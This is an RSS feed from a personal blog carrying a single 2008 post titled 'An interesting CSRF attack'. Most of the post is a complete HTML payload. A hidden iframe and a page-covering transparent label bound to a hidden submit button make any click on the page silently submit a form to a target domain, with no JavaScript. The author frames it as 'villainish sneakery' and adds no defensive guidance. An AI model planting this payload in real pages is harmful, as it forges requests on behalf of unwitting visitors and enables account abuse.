<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>trickeries! &#187; evil</title>
	<atom:link href="http://trickeries.com/tag/evil/feed/" rel="self" type="application/rss+xml" />
	<link>http://trickeries.com</link>
	<description>it's tricky to rock a style thats liked online</description>
	<lastBuildDate>Tue, 02 Mar 2010 06:01:56 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>An interesting CSRF attack</title>
		<link>http://trickeries.com/216/an-interesting-csrf-attack/</link>
		<comments>http://trickeries.com/216/an-interesting-csrf-attack/#comments</comments>
		<pubDate>Tue, 02 Sep 2008 06:25:57 +0000</pubDate>
		<dc:creator>atom</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[evil]]></category>
		<category><![CDATA[hackeries]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[input]]></category>
		<category><![CDATA[label]]></category>
		<category><![CDATA[sneaky]]></category>

		<guid isPermaLink="false">http://trickeries.com/?p=216</guid>
		<description><![CDATA[I found this post very interesting for a number of reasons.  Mainly because the label / input relationship is behaviour driven by HTML, which shouldn&#8217;t really be happening.  After looking at this a bit, I made a variation (more focused on villainish sneakery) that will allow the transparent submission of a form to an iframe [...]]]></description>
			<content:encoded><![CDATA[<p>I found <a href="http://www.0x000000.com/?i=635">this post</a> very interesting for a number of reasons.  Mainly because the label / input relationship is behaviour driven by HTML, which shouldn&#8217;t really be happening.  After looking at this a bit, I made a variation (more focused on villainish sneakery) that will allow the transparent submission of a form to an iframe if the user clicks anywhere on the page, without the aid of JavaScript, just as in <a href="http://www.0x000000.com/index.php">rvdh</a>&#8217;s example.  Plenty of nastniess can ensue.</p>

<div class="wp_syntax"><div class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #00FF00; font-weight: bold;">&lt;iframe</span> <span style="color: #0099FF;">name</span>=<span style="color: #ff0000;">&quot;my_frame&quot;</span> <span style="color: #0099FF;">src</span>=<span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #0099FF;">style</span>=<span style="color: #ff0000;">&quot;display:none&quot;</span><span style="color: #FF00FF; font-weight: bold;">&gt;</span><span style="color: #00FF00; font-weight: bold;">&lt;/iframe<span style="color: #FF00FF; font-weight: bold;">&gt;</span></span></span>
<span style="color: #009900;"><span style="color: #00FF00; font-weight: bold;">&lt;form</span> <span style="color: #0099FF;">action</span>=<span style="color: #ff0000;">&quot;http://targetdomain.com&quot;</span> <span style="color: #0099FF;">target</span>=<span style="color: #ff0000;">&quot;my_frame&quot;</span><span style="color: #FF00FF; font-weight: bold;">&gt;</span></span>
	<span style="color: #009900;"><span style="color: #00FF00; font-weight: bold;">&lt;p<span style="color: #FF00FF; font-weight: bold;">&gt;</span></span></span>
		<span style="color: #009900;"><span style="color: #00FF00; font-weight: bold;">&lt;label</span> <span style="color: #0099FF;">for</span>=<span style="color: #ff0000;">&quot;submit&quot;</span> <span style="color: #0099FF;">style</span>=<span style="color: #ff0000;">&quot;position:fixed;top:0;right:0;bottom:0;left:0&quot;</span><span style="color: #FF00FF; font-weight: bold;">&gt;</span></span><span style="color: #ddbb00;">&amp;nbsp;</span><span style="color: #009900;"><span style="color: #00FF00; font-weight: bold;">&lt;/label<span style="color: #FF00FF; font-weight: bold;">&gt;</span></span></span>
		<span style="color: #009900;"><span style="color: #00FF00; font-weight: bold;">&lt;input</span> <span style="color: #0099FF;">type</span>=<span style="color: #ff0000;">&quot;submit&quot;</span> <span style="color: #0099FF;">id</span>=<span style="color: #ff0000;">&quot;submit&quot;</span> <span style="color: #0099FF;">style</span>=<span style="color: #ff0000;">&quot;display:none&quot;</span><span style="color: #FF00FF; font-weight: bold;">/&gt;</span></span>
	<span style="color: #009900;"><span style="color: #00FF00; font-weight: bold;">&lt;/p<span style="color: #FF00FF; font-weight: bold;">&gt;</span></span></span>
<span style="color: #009900;"><span style="color: #00FF00; font-weight: bold;">&lt;/form<span style="color: #FF00FF; font-weight: bold;">&gt;</span></span></span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://trickeries.com/216/an-interesting-csrf-attack/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
